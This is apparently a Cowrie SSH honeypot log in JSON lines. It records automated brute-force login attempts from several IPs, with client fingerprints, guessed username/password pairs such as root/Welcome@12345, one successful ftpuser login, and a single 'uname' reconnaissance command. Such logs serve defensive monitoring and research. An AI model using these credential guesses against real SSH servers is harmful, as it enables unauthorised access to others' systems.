{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:01:57.742517Z","src_ip":"91.92.42.133","session":"3e7b7a330c31","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"ftpuser","password":"ftpuser","message":"login attempt [ftpuser/ftpuser] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:01:58.914217Z","src_ip":"91.92.42.133","session":"3e7b7a330c31","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:01:59.342502Z","src_ip":"91.92.42.133","session":"3e7b7a330c31","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:01:59.345549Z","src_ip":"91.92.42.133","session":"3e7b7a330c31","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:01:59.518388Z","src_ip":"91.92.42.133","session":"3e7b7a330c31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:01:59.522993Z","src_ip":"91.92.42.133","session":"3e7b7a330c31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":42976,"dst_ip":"159.203.135.109","dst_port":22,"session":"f4a2c1402ec6","protocol":"ssh","message":"New connection: 91.92.42.133:42976 (159.203.135.109:22) [session: f4a2c1402ec6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:02:05.347179Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:02:05.437026Z","src_ip":"91.92.42.133","session":"f4a2c1402ec6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:02:05.440441Z","src_ip":"91.92.42.133","session":"f4a2c1402ec6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"rootroot","message":"login attempt [deploy/rootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:02:06.044669Z","src_ip":"91.92.42.133","session":"f4a2c1402ec6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:02:07.347482Z","src_ip":"91.92.42.133","session":"f4a2c1402ec6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":43040,"dst_ip":"159.203.135.109","dst_port":22,"session":"d3c37edfb956","protocol":"ssh","message":"New connection: 91.92.42.133:43040 (159.203.135.109:22) [session: d3c37edfb956]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:02:12.381956Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:02:12.585316Z","src_ip":"91.92.42.133","session":"d3c37edfb956","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:02:12.588672Z","src_ip":"91.92.42.133","session":"d3c37edfb956","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab-runner","password":"123","message":"login attempt [gitlab-runner/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:02:13.500325Z","src_ip":"91.92.42.133","session":"d3c37edfb956","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.140.193.156","src_port":44016,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9e3d86d20c3","protocol":"ssh","message":"New connection: 45.140.193.156:44016 (10.17.0.5:22) [session: b9e3d86d20c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:02:13.729858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:02:13.732868Z","src_ip":"45.140.193.156","session":"b9e3d86d20c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:02:13.845584Z","src_ip":"45.140.193.156","session":"b9e3d86d20c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome@12345","message":"login attempt [root/Welcome@12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:02:14.343628Z","src_ip":"45.140.193.156","session":"b9e3d86d20c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:02:14.795942Z","src_ip":"91.92.42.133","session":"d3c37edfb956","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:02:15.459807Z","src_ip":"45.140.193.156","session":"b9e3d86d20c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.121.214.50","src_port":52498,"dst_ip":"10.17.0.5","dst_port":22,"session":"02f2aa83768e","protocol":"ssh","message":"New connection: 117.121.214.50:52498 (10.17.0.5:22) [session: 02f2aa83768e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:02:17.006260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:02:17.010220Z","src_ip":"117.121.214.50","session":"02f2aa83768e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:02:17.255965Z","src_ip":"117.121.214.50","session":"02f2aa83768e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server2016","message":"login attempt [root/server2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:02:18.261782Z","src_ip":"117.121.214.50","session":"02f2aa83768e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:02:19.509881Z","src_ip":"117.121.214.50","session":"02f2aa83768e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":42446,"dst_ip":"159.203.135.109","dst_port":22,"session":"33a768dea387","protocol":"ssh","message":"New connection: 91.92.42.133:42446 (159.203.135.109:22) [session: 33a768dea387]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:02:20.344716Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:02:20.452585Z","src_ip":"91.92.42.133","session":"33a768dea387","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:02:20.455898Z","src_ip":"91.92.42.133","session":"33a768dea387","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vncuser","password":"123456","message":"login attempt [vncuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:02:21.333764Z","src_ip":"91.92.42.133","session":"33a768dea387","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:02:23.066269Z","src_ip":"91.92.42.133","session":"33a768dea387","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":40834,"dst_ip":"159.203.135.109","dst_port":22,"session":"49bb5da65e74","protocol":"ssh","message":"New connection: 91.92.42.133:40834 (159.203.135.109:22) [session: 49bb5da65e74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:02:27.941876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:02:28.164600Z","src_ip":"91.92.42.133","session":"49bb5da65e74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:02:28.168329Z","src_ip":"91.92.42.133","session":"49bb5da65e74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1qaz@WSX","message":"login attempt [user/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:02:29.456851Z","src_ip":"91.92.42.133","session":"49bb5da65e74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":44250,"dst_ip":"159.203.135.109","dst_port":22,"session":"35ef9629e42c","protocol":"ssh","message":"New connection: 45.148.10.121:44250 (159.203.135.109:22) [session: 35ef9629e42c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:02:30.538209Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:02:30.555811Z","src_ip":"45.148.10.121","session":"35ef9629e42c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:02:30.902092Z","src_ip":"91.92.42.133","session":"49bb5da65e74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:02:31.397698Z","src_ip":"45.148.10.121","session":"35ef9629e42c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":41460,"dst_ip":"159.203.135.109","dst_port":22,"session":"c88a2187909e","protocol":"ssh","message":"New connection: 91.92.42.133:41460 (159.203.135.109:22) [session: c88a2187909e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:02:35.707948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:02:35.809172Z","src_ip":"91.92.42.133","session":"c88a2187909e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:02:35.814578Z","src_ip":"91.92.42.133","session":"c88a2187909e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123","message":"login attempt [git/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:02:36.586002Z","src_ip":"91.92.42.133","session":"c88a2187909e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:02:37.741913Z","src_ip":"91.92.42.133","session":"c88a2187909e","protocol":"ssh"}
